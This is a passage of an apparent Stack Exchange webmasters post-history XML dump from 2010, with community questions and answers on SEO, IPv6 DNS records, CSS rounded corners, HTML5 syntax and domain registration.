tracking without JavaScript." />
  <row Id="8768" PostHistoryTypeId="2" PostId="4434" RevisionGUID="731500bb-3063-4e1e-a924-be2095cb1f38" CreationDate="2010-10-26T16:10:05.740" UserId="1953" Text="Do your URLs contain the date in them? IE example.com/awesome-event-2009&#xD;&#xA;If they don't and are just event pages IE example.com/awesome-event I would move the old content to a new archive page and put this years content on the page that is already ranking well with a link to the archive at the bottom.&#xD;&#xA;&#xD;&#xA;This way you don't have new pages trying to out rank old established pages, and it works better for the user because they can bookmark that one page and always return for the most up to date info on the event." />
  <row Id="8769" PostHistoryTypeId="2" PostId="4435" RevisionGUID="c130030d-8802-4b1a-9e3d-d0e1fdc0c6b1" CreationDate="2010-10-26T16:26:46.310" UserId="1253" Text="If you're using Wordpress 2.9 or later there should be canonical tags built in to your posts by default. You should check to see that the URLs you wish to use is actually what is being provided. If not, that's what needs to be changed. [There is a plug in that will help you with this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/canonical/" />
  <row Id="8770" PostHistoryTypeId="5" PostId="4413" RevisionGUID="9e7130dc-a1ff-4d62-a6d8-3fa826d5fb3a" CreationDate="2010-10-26T16:56:09.780" UserId="233" Comment="fixed html code" Text="I tried it and it works perfectly for me. Note that the `color` and `font-size` properties won't have any effect in Chrome, since no text gets displayed. (Firefox displays the alt text if the image cannot be found.) Using the width property, for example, shows that it works fine. I'll post my code below for you to see.&#xD;&#xA;&#xD;&#xA;However, to your original question, targeting what is essentially a &quot;free text&quot; field in CSS is prone to mishap. It's very easy to change an alt attribute without thinking about repercussions in CSS (as opposed to changing a class name where it should be obvious).&#xD;&#xA;&#xD;&#xA;Furthermore, since you are already targeting an ID you only need to use that selector - an ID can only be used once per page.&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;      &lt;style&gt;img#logo[alt=&quot;Site Title&quot;] { width:200px }&lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;      &lt;img alt=&quot;Site Title&quot; src=&quot;bullet.png&quot; id=&quot;logo&quot; /&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;" />
  <row Id="8771" PostHistoryTypeId="2" PostId="4436" RevisionGUID="52ba6279-22a8-4274-9d02-77ca9abd8eba" CreationDate="2010-10-26T17:06:40.547" UserId="1429" Text="I saw many webdesigner companies adding a small signature on each website they make.&#xD;&#xA;Signature could be masked by words like *credits*, *design by...*, **but they all contain a direct link to the webdesign company that made the website**.&#xD;&#xA;&#xD;&#xA;This can be obviously good to drive more traffic to the webdesign company by direct visitors that might click on 'credits'/'design by...' link.&#xD;&#xA;&#xD;&#xA;**But what about SEO:**&#xD;&#xA;&#xD;&#xA;  1. Is it good for Google? (Or is it seen as spamming bad SEO technique)&#xD;&#xA;&#xD;&#xA;  2. It should increase the webdesign company's website Google PR, shouldn't it?!&#xD;&#xA;And in some way push the wbsite up on Google search results? *&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;NOTE: obviously I'm supposing the webdesign company's website is also a site with interesting and decent contents, not just an empty idious site, I know Ggoogle looks 1st for contents, but besides that...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8772" PostHistoryTypeId="1" PostId="4436" RevisionGUID="52ba6279-22a8-4274-9d02-77ca9abd8eba" CreationDate="2010-10-26T17:06:40.547" UserId="1429" Text="SEO: adding your company signature with link to all websites you make?" />
  <row Id="8773" PostHistoryTypeId="3" PostId="4436" RevisionGUID="52ba6279-22a8-4274-9d02-77ca9abd8eba" CreationDate="2010-10-26T17:06:40.547" UserId="1429" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;&lt;links&gt;" />
  <row Id="8774" PostHistoryTypeId="2" PostId="4437" RevisionGUID="67b3d383-7171-4b5b-ad39-0959aa78a821" CreationDate="2010-10-26T17:16:20.823" UserId="1253" Text="As always, it's good only so far as the link is valuable. If the page the link is on is unrelated to your website, and in these cases they almost always are, it won't have much value to you. You will get some PR (but not much if they don't get much PR themselves) and some value from the link, but it really won't be anything significant. I would not expect it to push your site up significantly in the SERPs for web design and development related queries.&#xD;&#xA;&#xD;&#xA;(I generally don't like this as it makes the client's website look less professional. Always get permission to do this from the site owner and let them know the SEO ramifications to them.)" />
  <row Id="8775" PostHistoryTypeId="2" PostId="4438" RevisionGUID="c11305e3-cec8-4a13-a140-cb80b15f7b62" CreationDate="2010-10-26T17:16:24.997" UserId="706" Text="If I set up a web site and the web server only has IPv6, and my domain uses a AAAA DNS record instead of a A record, how does this affect my visitors?&#xD;&#xA;&#xD;&#xA;Can only end users that have IPv6 on their client access my web site? if that is the case, is there any work arounds?" />
  <row Id="8776" PostHistoryTypeId="1" PostId="4438" RevisionGUID="c11305e3-cec8-4a13-a140-cb80b15f7b62" CreationDate="2010-10-26T17:16:24.997" UserId="706" Text="How does IPv6 and AAAA DNS records affect my visitors?" />
  <row Id="8777" PostHistoryTypeId="3" PostId="4438" RevisionGUID="c11305e3-cec8-4a13-a140-cb80b15f7b62" CreationDate="2010-10-26T17:16:24.997" UserId="706" Text="&lt;dns&gt;&lt;visitors&gt;" />
  <row Id="8778" PostHistoryTypeId="2" PostId="4439" RevisionGUID="e91c88ba-8c6f-49af-a9de-79529cdc7b57" CreationDate="2010-10-26T17:33:01.247" UserId="2209" Text="IPv6 is backwards compatible. So anyone with an IPv4 connection will still be able to view your site. As for the AAAA record it should not affect anything because it is returning an IP address just like the (A) Host record does. " />
  <row Id="8779" PostHistoryTypeId="2" PostId="4440" RevisionGUID="83fc6c12-585d-4960-b7f1-1223b93d70b7" CreationDate="2010-10-26T17:51:52.683" UserId="1429" Text="I **think** what most SEO companies do is one or more of the following:&#xD;&#xA;&#xD;&#xA; 1. to evaluate/find what are the keyphrases that could bring you most traffic from Google.&#xD;&#xA; &#xD;&#xA; 2. to adjust your site title/meta description and contents to contain the keyphrases of point (1).&#xD;&#xA;&#xD;&#xA; 3. to add links to your site on many websites/blogs/directories.&#xD;&#xA;&#xD;&#xA;I agree with *XOPJ* that (1) and (2) should be done by the guy who made you the site. Obviously if you bought a 10$ website (or a free one) you can't expect them to have done it for you. I'm clueless about what SEO charges for (1) and (2), I would evaluate a SEO doing this based simply on how much my website performs better on Google search results for those keyphrases after his intervention.&#xD;&#xA;&#xD;&#xA;About point (3) the added value of a SEO company could be to avoid you doing a tedious job that might not even bring you the expected results.&#xD;&#xA;The SEO company might aready know what are the websites/directories/forums/blogs where is simplier to add a link to your site with a NOT-nofollow link and maybe with some PR on those pages.&#xD;&#xA;&#xD;&#xA;For point (3) you could evaluate a SEO job by paying him only after he submitted you the list of pages where he inserted a link to you site, the PR of each of those pages and the number of outgoing links from each of those pages.&#xD;&#xA;Keep in mind these values might change in time, if I'm able to place a link to your site on Microsoft HOME PAGE, but such link is removed after one week, it's not very helpful." />
  <row Id="8780" PostHistoryTypeId="2" PostId="4441" RevisionGUID="a3b4dc9c-6b33-4555-987b-03552d52d327" CreationDate="2010-10-26T18:21:21.990" UserId="2574" Text="Which of the following will load faster,&#xD;&#xA;&#xD;&#xA; 1. Creating a square image and adding rounded corners via CSS&#xD;&#xA; 2. Adding rounded corners to the image by default and not using the extra css.&#xD;&#xA;&#xD;&#xA;Also, if 2 is faster, then does that mean that the rounded corners functionality was only added to help programmers who were not capable of creating their own rounded corners in images?&#xD;&#xA;&#xD;&#xA;Thanks for any help!&lt;br /&gt;Metropolis&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8781" PostHistoryTypeId="1" PostId="4441" RevisionGUID="a3b4dc9c-6b33-4555-987b-03552d52d327" CreationDate="2010-10-26T18:21:21.990" UserId="2574" Text="Which is faster, adding rounded corners to images, or adding rounded corners in CSS" />
  <row Id="8782" PostHistoryTypeId="3" PostId="4441" RevisionGUID="a3b4dc9c-6b33-4555-987b-03552d52d327" CreationDate="2010-10-26T18:21:21.990" UserId="2574" Text="&lt;html&gt;&lt;images&gt;&lt;css3&gt;" />
  <row Id="8783" PostHistoryTypeId="2" PostId="4442" RevisionGUID="5cb81360-4f31-4f96-93f2-c1f6cb2da83a" CreationDate="2010-10-26T18:43:39.657" UserId="1253" Text="Assuming you are only trying to make a box with rounded corners and nothing else, using CSS should faster as no images need to be downloaded to make the border with rounded corners be displayed. That means at least one less HTTP request and less data to be downloaded (and less latency as a result)." />
  <row Id="8784" PostHistoryTypeId="2" PostId="4443" RevisionGUID="e7d631d3-a563-4af8-9903-3a41119d7f08" CreationDate="2010-10-26T18:48:13.870" UserId="1429" Text="The (1) is **faster rendering**, and what's more important is **versatile**.&#xD;&#xA;&#xD;&#xA;CSS are faster because using css you won't even need to download image/images, you can for instance apply rounded corners to a DIV block with white background.&#xD;&#xA;&#xD;&#xA;But the most important is to be versatile, if you change your mind about DIV block showing rounded corners, it takes nothing to adjust CSS and remove rounded corners or change their colors or reduce their radius, but if you did rounded corners with images you might need to open Photoshop, redesign teh rounde cornerm cut them off in slices and place them back into teh website layout." />
  <row Id="8785" PostHistoryTypeId="2" PostId="4444" RevisionGUID="9b579c4f-9e76-453f-8ee1-4680a3a1f1ab" CreationDate="2010-10-26T18:49:06.580" UserId="1426" Text="If there is any difference between them it will be so small it's absolutely not worth considering.&#xD;&#xA;&#xD;&#xA;As for your second question, the point of CSS is to separate presentation from code. Let's say you're using images with rounded corners on your site, you decide to redesign and these rounded images don't really fit with your new layout. Would you rather change one line in your stylesheet, or regenerate all of your images to remove the rounded corners?&#xD;&#xA;&#xD;&#xA;The only reason border-radius is not widely used is a lack of support in Internet Explorer. Hopefully things will be better when IE9 is released properly and gets some market share." />
  <row Id="8786" PostHistoryTypeId="12" PostId="4439" RevisionGUID="0b5714ba-9f7c-4d5a-83cc-033c7b909202" CreationDate="2010-10-26T19:08:32.380" UserId="2209" Text="[{&quot;Id&quot;:2209,&quot;DisplayName&quot;:&quot;Jeremy&quot;}]" />
  <row Id="8787" PostHistoryTypeId="13" PostId="4439" RevisionGUID="23700e0d-bf3d-4b46-b54b-48a33a9aea10" CreationDate="2010-10-26T19:09:14.360" UserId="2209" Text="[{&quot;Id&quot;:2209,&quot;DisplayName&quot;:&quot;Jeremy&quot;}]" />
  <row Id="8789" PostHistoryTypeId="2" PostId="4445" RevisionGUID="eb9539ed-457d-4069-b50d-db963db2075a" CreationDate="2010-10-26T19:15:46.720" UserDisplayName="Ryan" Text="Just finished rolling out my brand-new SERP tracker.  Check out [SEscout][1].&#xD;&#xA;&#xD;&#xA;Features include the following:&#xD;&#xA;&#xD;&#xA; - $30 / month unlimited keywords and domains &#xD;&#xA;&#xD;&#xA; - Hourly updates&#xD;&#xA; - PDF reports (white labeling soon!)&#xD;&#xA;&#xD;&#xA; - Much more ;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.users.sescout.com/upgrades/subscriptions?invite=u99ez34&#xD;&#xA;  " />
  <row Id="8790" PostHistoryTypeId="22" PostId="3853" RevisionGUID="5eaee428-2f4a-43c3-9d89-e711874b429f" CreationDate="2010-10-26T19:18:34.347" UserId="5" Comment="from http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8791" PostHistoryTypeId="22" PostId="3854" RevisionGUID="5eaee428-2f4a-43c3-9d89-e711874b429f" CreationDate="2010-10-26T19:18:34.347" UserId="5" Comment="from http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8792" PostHistoryTypeId="22" PostId="3855" RevisionGUID="5eaee428-2f4a-43c3-9d89-e711874b429f" CreationDate="2010-10-26T19:18:34.347" UserId="5" Comment="from http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8793" PostHistoryTypeId="22" PostId="3856" RevisionGUID="5eaee428-2f4a-43c3-9d89-e711874b429f" CreationDate="2010-10-26T19:18:34.347" UserId="5" Comment="from http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8794" PostHistoryTypeId="22" PostId="3852" RevisionGUID="5eaee428-2f4a-43c3-9d89-e711874b429f" CreationDate="2010-10-26T19:18:34.347" UserId="5" Comment="from http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8795" PostHistoryTypeId="15" PostId="3852" RevisionGUID="af200ac4-f288-4d78-baf1-57007f839660" CreationDate="2010-10-26T19:18:34.537" UserId="5" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8796" PostHistoryTypeId="22" PostId="372" RevisionGUID="5eaee428-2f4a-43c3-9d89-e711874b429f" CreationDate="2010-10-26T19:18:34.347" UserId="5" Comment="to http://webmasters.stackexchange.com/questions/3852/ssl-and-green-address-bar" Text="[{&quot;Id&quot;:5,&quot;DisplayName&quot;:&quot;Jarrod Dixon&quot;}]" />
  <row Id="8797" PostHistoryTypeId="2" PostId="4446" RevisionGUID="14ff4b18-8060-4835-bf56-142a85d1bcbc" CreationDate="2010-10-26T19:35:00.610" UserId="2221" Text="I like free tools and found this SERP checker that is very simple, free and efficient:&#xD;&#xA;&#xD;&#xA;http://www.positeo.com/check-position/&#xD;&#xA;&#xD;&#xA;The Plus:&#xD;&#xA;&#xD;&#xA;- It's **free**&#xD;&#xA;- you get the details of the SERP ranking on the **different Google datacenters**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Minus:&#xD;&#xA;&#xD;&#xA;- the page is in *French*, but you can check google ranking on different countries and languages.&#xD;&#xA;- you need to check **manually**.&#xD;&#xA;&#xD;&#xA;(I have no interest on this site and do not know these people; I just like the tool)" />
  <row Id="8798" PostHistoryTypeId="2" PostId="4447" RevisionGUID="fa93b47e-3b9d-47bb-ae47-4c6959f5ee5f" CreationDate="2010-10-26T19:58:24.157" UserId="108" Text="Actually there are 3 choices.&#xD;&#xA;&#xD;&#xA; 1. Use CSS to create the rounded edges&#xD;&#xA; 2. Use CSS to create rounded edges with rounded corner images&#xD;&#xA; 3. Use an AJAX function to create rounded corners&#xD;&#xA;&#xD;&#xA;The issue with 1 is that most browsers do not support it or support different formats.  IE6-IE8 specifically has a lot of issues.  I believe this should be resolved once all browsers supposrt CSS3 fully but that is a long time off.&#xD;&#xA;&#xD;&#xA;The issue with option 2 is that you lose some load time to downloading the images.  To do it really well you need to know the width of your boxes.  Finally IE6 will still handle it poorly because it can't handle .PNG files very well, which are required for option 2.&#xD;&#xA;&#xD;&#xA;Finally, the issue with option 3 is it can take some time to tweak everything to work as you would like and it might be slightly slower.  I have used option 3 many times and I have not been able to to notice the difference in loading time. " />
  <row Id="8799" PostHistoryTypeId="2" PostId="4448" RevisionGUID="a75fb6ff-6b1b-4540-b07a-5e1052cef6a1" CreationDate="2010-10-26T20:09:36.463" UserId="745" Text="A while back, I wrote a tutorial on [how to create rounded corners using only one image][1]. If you do go that route, I'd recommend including that image as part of a sprite that contains other parts of your layout.&#xD;&#xA;&#xD;&#xA;The drawbacks of using an image are that you need to know the background or use extra markup to achieve it. It's also less flexible for updates or changes. The advantages are that it doesn't need JavaScript and it's cross-browser.&#xD;&#xA;&#xD;&#xA;The advantages of using CSS3 are that no JavaScript or extra markup is needed. The disadvantages are that it's not cross-browser, rounded edges with borders are highly pixelated, and you have to deal with the browser specific CSS properties in order to get it to work.&#xD;&#xA;&#xD;&#xA;Either method should be fast enough for most purposes, though I suspect that CSS3 rounded edges would be slightly faster than using an image. That said, there are considerations other than speed. At this point, even though I've used the image method in the past, I would probably lean toward CSS3.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/tutorials/css-rounded-corner-menus" />
  <row Id="8800" PostHistoryTypeId="5" PostId="3852" RevisionGUID="c084e81a-1c97-4646-ae00-8b0fa1447843" CreationDate="2010-10-26T20:33:39.893" UserId="138" Comment="deleted 178 characters in body" Text="I am new to SSL so can someone explain why my address bar turns green when I'm on certain sites beginning with https:// and sometimes it doesn't even though I know the site has SSL. Maybe these two nuances are not even related, but if I go to godaddy and order a new domain I notice their address bar is green the entire time I'm on an https:// beginning site, but then I go to Victoria's secret to place an order and even though it says https:// the address bar doesn't turn gree.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8801" PostHistoryTypeId="2" PostId="4449" RevisionGUID="1b9e5ad7-1087-4ddd-bcac-c8d546958652" CreationDate="2010-10-26T21:14:49.090" UserId="2279" Text="Something to consider is whether or not the linking sites are hosted on the same server and have the same IP address. If they are provided/hosted by the same company then this is quite possible. If the websites in question that link back to the website provider have thousands of pages (i.e. an ecommerce website) and a link is present on every page then there is a possibility these links combined will devalue any potential benefit.&#xD;&#xA;&#xD;&#xA;**Note:** I'm unsure if this would result in a penalty of some kind for too many links from the same IP address, I've never seen this personally, however perhaps other community members have? There are a wide range of theories on this confirming/denying penalties, however based on the known facts about linking it feels sensible not to have thousands of home grown links from the same source.&#xD;&#xA;&#xD;&#xA;As a rule of thumb keep it to the homepage only and keep it small and near the bottom." />
  <row Id="8802" PostHistoryTypeId="2" PostId="4450" RevisionGUID="1709eb87-3472-42a4-a4fc-e8f8ad68901f" CreationDate="2010-10-26T21:37:00.957" UserId="2228" Text="You can round an image with CSS, but it wouldn't give you a benefit because you are only masking sections of the image. The bytes that are hidden are still there and they still have to be transferred to the user's browser, so you don't have a bandwidth benefit even if it is a transparent PNG.&#xD;&#xA;&#xD;&#xA;Furthermore, you will be hurting your self (ever so little) because in your style sheet, the code you'll have to write to perform the effect will actually add overhead to your style sheet. Thus you will actually be adding more data to be transferred to the browser and increasing your bandwidth usage.&#xD;&#xA;&#xD;&#xA;Option 2 in your question is more appropriate when dealing with images. As far as why the rounded corners was added to CSS, it has nothing to do with images. Some of the uses you may see are someone trying to replicate the roundness of the Apple input fields/buttons on their page. Or another example would be `div`'s that need to act as panels or modals." />
  <row Id="8803" PostHistoryTypeId="5" PostId="4450" RevisionGUID="24196be0-3ea0-4471-9a7c-1e6ac5bd35ea" CreationDate="2010-10-26T21:45:18.290" UserId="2228" Comment="added 37 characters in body; added 104 characters in body" Text="You can round an image with CSS, but it wouldn't give you a benefit because you are only masking sections of the image. The bytes that are hidden are still there and they still have to be transferred to the user's browser, so you don't have a bandwidth benefit even if it is a transparent PNG.&#xD;&#xA;&#xD;&#xA;Furthermore, you will be hurting your self (ever so little) because in your style sheet, the code you'll have to write to perform the effect will actually add overhead to your style sheet. Thus you will actually be adding more data to be transferred to the browser and increasing your bandwidth usage.&#xD;&#xA;&#xD;&#xA;Option 2 in your question is more appropriate when dealing with images. As far as why the rounded corners was added to CSS, it has nothing to do with images and programmers [sucking with PS...]. Some of the uses you may see are someone trying to replicate the roundness of the Apple input fields/buttons on their page. Or another example would be `div`'s that need to act as panels or modals.&#xD;&#xA;&#xD;&#xA;Really, there's no defined usage, it's just a matter of convenience on whatever you're working with." />
  <row Id="8804" PostHistoryTypeId="2" PostId="4451" RevisionGUID="e8ceaa2b-9239-458b-9e81-85032d74c1a8" CreationDate="2010-10-27T02:36:02.833" UserId="2574" Text="I am wondering about the following questions for HTML5&#xD;&#xA;&#xD;&#xA; 1. &amp;lt;br /&amp;gt; OR &amp;lt;br&amp;gt;? Are all elements the same for the answer?&#xD;&#xA; 2. selected=&quot;selected&quot; OR selected?&#xD;&#xA; 3. Are there any other syntax instances that were true for XHTML/HTML4 that are not for HTML5?" />
  <row Id="8805" PostHistoryTypeId="1" PostId="4451" RevisionGUID="e8ceaa2b-9239-458b-9e81-85032d74c1a8" CreationDate="2010-10-27T02:36:02.833" UserId="2574" Text="What is the required syntax to use for HTML5" />
  <row Id="8806" PostHistoryTypeId="3" PostId="4451" RevisionGUID="e8ceaa2b-9239-458b-9e81-85032d74c1a8" CreationDate="2010-10-27T02:36:02.833" UserId="2574" Text="&lt;html5&gt;" />
  <row Id="8807" PostHistoryTypeId="2" PostId="4452" RevisionGUID="7dcc56e6-890e-42e8-8732-4baa44b9692d" CreationDate="2010-10-27T02:50:47.567" UserId="1253" Text="1. `&lt;br&gt;` in HTML5 `&lt;br /&gt;` in XHTML5 &#xD;&#xA;&#xD;&#xA;2. [`selected=&quot;selected&quot;`][2]&#xD;&#xA;&#xD;&#xA;3. [Differences between HTML 4 and 5][3]. [From StackOverflow][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/html5/tag_br.asp&#xD;&#xA;  [2]: http://blog.stannard.net.au/2010/07/20/html-checked-disabled-and-selected-attributes/&#xD;&#xA;  [3]: http://www.w3.org/TR/html5-diff/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/134727/whats-the-key-difference-between-html-4-and-html-5" />
  <row Id="8808" PostHistoryTypeId="5" PostId="4452" RevisionGUID="504cbec3-2263-4ead-a83d-4ea6f914871b" CreationDate="2010-10-27T02:56:37.283" UserId="1253" Comment="added 2 characters in body" Text="1. `&lt;br&gt;` in HTML5 `&lt;br /&gt;` in XHTML5 &#xD;&#xA;&#xD;&#xA;2. [`selected=&quot;selected&quot;`][2]&#xD;&#xA;&#xD;&#xA;3. [Differences between HTML 4 and 5][3]. - [From StackOverflow][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/html5/tag_br.asp&#xD;&#xA;  [2]: http://blog.stannard.net.au/2010/07/20/html-checked-disabled-and-selected-attributes/&#xD;&#xA;  [3]: http://www.w3.org/TR/html5-diff/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/134727/whats-the-key-difference-between-html-4-and-html-5" />
  <row Id="8809" PostHistoryTypeId="5" PostId="4452" RevisionGUID="13a38c42-a430-41a6-84a8-937240232039" CreationDate="2010-10-27T03:27:37.373" UserId="1253" Comment="added 51 characters in body" Text="1. `&lt;br&gt;` in HTML5 `&lt;br /&gt;` in XHTML5 &#xD;&#xA;&#xD;&#xA;2. `selected`, `selected=&quot;&quot;`, and `selected=&quot;selected&quot;` are all valid attributes&#xD;&#xA;&#xD;&#xA;3. [Differences between HTML 4 and 5][3]. - [From StackOverflow][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/html5/tag_br.asp&#xD;&#xA;  [2]: http://blog.stannard.net.au/2010/07/20/html-checked-disabled-and-selected-attributes/&#xD;&#xA;  [3]: http://www.w3.org/TR/html5-diff/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/134727/whats-the-key-difference-between-html-4-and-html-5" />
  <row Id="8810" PostHistoryTypeId="2" PostId="4453" RevisionGUID="3313d2a4-a962-4a95-bd3a-ff1346a3df44" CreationDate="2010-10-27T05:26:02.927" UserId="2044" Text="I have been working as a web developer for long time. I have regular request from clients for web hosting and domain registration whose site i make.&#xD;&#xA;&#xD;&#xA;I have been asking for other frens for it. And they have been doing it for $15/year per domain registration.&#xD;&#xA;&#xD;&#xA;I am thinking to start the registration by self.&#xD;&#xA;&#xD;&#xA;So what are the things to do for being able to register domain names in cheaper rates less than $15/year" />
  <row Id="8811" PostHistoryTypeId="1" PostId="4453" RevisionGUID="3313d2a4-a962-4a95-bd3a-ff1346a3df44" CreationDate="2010-10-27T05:26:02.927" UserId="2044" Text="Starting Domain Registration Service" />
  <row Id="8812" PostHistoryTypeId="3" PostId="4453" RevisionGUID="3313d2a4-a962-4a95-bd3a-ff1346a3df44" CreationDate="2010-10-27T05:26:02.927" UserId="2044" Text="&lt;registrar&gt;&lt;registration&gt;&lt;domain-names&gt;" />
  <row Id="8813" PostHistoryTypeId="2" PostId="4454" RevisionGUID="ab3bccb3-d622-4ae3-aed7-289388bcc776" CreationDate="2010-10-27T06:55:14.220" UserId="1757" Text="I don't think there will be any penalties for having such links. A lot of popular web services, applications, etc. have button links or badges that are used on tens or hundreds of thousands of unrelated sites&amp;mdash;e.g. Media Temple, Facebook, Twitter, WordPress, CakePHP, ExpressionEngine, MySQL, PHP, VeriSign, W3C, PayPal, Creative Commons, etc.&#xD;&#xA;&#xD;&#xA;For most designers/developers, you won't be developing enough sites to even come close to the amount of badge links that the above mentioned services have. So if jQuery and Drupal don't have any problems with their thousands of backlinks, then the average web developer certainly has nothing to worry about." />
  <row Id="8814" PostHistoryTypeId="2" PostId="4455" RevisionGUID="ca36dd60-4666-4b8b-8135-c97dda29c302" CreationDate="2010-10-27T06:59:08.507" UserId="1757" Text="Do a Google search for &quot;register domain&quot;, or just [get a decent web host][1] that doesn't rip you off on hosting.&#xD;&#xA;&#xD;&#xA;Most domain registrars only charge about $9-10 a year to register a .com/.net/.org domain. And even web hosts that aren't registrars usually offer these end-user prices. There's no reason to pay more than $10 per year for a standard domain.&#xD;&#xA;&#xD;&#xA;Though it sounds like you just want to take the place of those shady registrars that charge &gt;$10/year for domains.&#xD;&#xA;&#xD;&#xA;A domain registration service is about as useful as an AdWords account setup service. Anyone who can read and has access to the internet can register their own domain in less than 5 minutes. It's as easy as creating an e-mail account. It would actually take more time, be more risky, and be more of a pain to go through a third party.&#xD;&#xA;&#xD;&#xA;Anyone buying a website for the first time needs to sign up for hosting anyways. And pretty much all web hosts walk you through the process of registering your first domain. Why a separate &quot;domain registration service&quot; is needed is beyond me. That's just one more delay and one more person to hand your credit card information to.&#xD;&#xA;&#xD;&#xA;If, say, you sign up with DreamHost for shared hosting, you can just type in a domain name, check availability, and register it with a single mouse click. You won't have an extra account to worry about or have to go in and change DNS records to point to your web host.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com/domains.html" />
  <row Id="8815" PostHistoryTypeId="5" PostId="4455" RevisionGUID="064e8e13-feae-4df9-8a82-ed325e7d696b" CreationDate="2010-10-27T07:04:26.050" UserId="1757" Comment="added 12 characters in body" Text="Do a Google search for &quot;register domain&quot;, or just [get a decent web host][1] that doesn't rip you off on domain registration.&#xD;&#xA;&#xD;&#xA;Most domain registrars only charge about $9-10 a year to register a .com/.net/.org domain. And even web hosts that aren't registrars usually offer these end-user prices. There's no reason to pay more than $10 per year for a standard domain.&#xD;&#xA;&#xD;&#xA;Though it sounds like you just want to take the place of those shady registrars that charge &gt;$10/year for domains.&#xD;&#xA;&#xD;&#xA;A domain registration service is about as useful as an AdWords account setup service. Anyone who can read and has access to the internet can register their own domain in less than 5 minutes. It's as easy as creating an e-mail account. It would actually take more time, be more risky, and be more of a pain to go through a third party.&#xD;&#xA;&#xD;&#xA;Anyone buying a website for the first time needs to sign up for hosting anyways. And pretty much all web hosts walk you through the process of registering your first domain. Why a separate &quot;domain registration service&quot; is needed is beyond me. That's just one more delay and one more person to hand your credit card information to.&#xD;&#xA;&#xD;&#xA;If, say, you sign up with DreamHost for shared hosting, you can just type in a domain name, check availability, and register it with a single mouse click. You won't have an extra account to worry about or have to go in and change DNS records to point to your web host.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhost.com/domains.html" />
  <row Id="8816" PostHistoryTypeId="2" PostId="4456" RevisionGUID="969c500a-7782-49a3-ae0c-1066e029079f" CreationDate="2010-10-27T07:54:37.470" UserId="2748" Text="Register using justhost.com, it is award winning." />
  <row Id="8817" PostHistoryTypeId="2" PostId="4457" RevisionGUID="9988df62-e6af-4001-9461-3ed02bee48b3" CreationDate="2010-10-27T09:20:24.617" UserId="233" Text="Try creating an XML sitemap (there are various Wordpress plugins to help with this) and setting the priority of your posts higher than the tag pages. This will tell Google that the posts are more important and they should get indexed faster and rank higher than other content.&#xD;&#xA;&#xD;&#xA;Submit it to Google Webmaster Tools or add `Sitemap: /sitemap.xml` to your robots.txt file." />
  <row Id="8818" PostHistoryTypeId="5" PostId="4222" RevisionGUID="631ec89b-1810-4082-862d-2df3d9156c0f" CreationDate="2010-10-27T09:28:39.333" UserId="233" Comment="added 1 characters in body; edited title" Text="When I applied for google adsense they replied me on the same day (Unfortunately they rejected my application. And asked me to resubmit)&#xD;&#xA;&#xD;&#xA;I resumitted the application for adsense around 8-10 days ago. Still it is pending from their end. Does any one has idea how much maximum time they can take?" />
  <row Id="8819" PostHistoryTypeId="4" PostId="4222" RevisionGUID="631ec89b-1810-4082-862d-2df3d9156c0f" CreationDate="2010-10-27T09:28:39.333" UserId="233" Comment="added 1 characters in body; edited title" Text="Google Adsense is not responding" />
  <row Id="8820" PostHistoryTypeId="2" PostId="4458" RevisionGUID="d7b9b062-788a-4573-bd05-96560ad5f231" CreationDate="2010-10-27T09:31:47.820" UserId="233" Text="It's very difficult to say exactly. Make sure you double check their terms and conditions in case there is some small thing you missed.&#xD;&#xA;&#xD;&#xA;The only thing I can see that may cause problems is sponsor section on the right. Although you do not have any in there at the moment, maybe it's not clear you would remove this if you installed Adsense.&#xD;&#xA;&#xD;&#xA;Several ad networks are fussy about what other adverts can be used in conjunction with their ads. I would say remove that section for now, wait a few days and try again." />
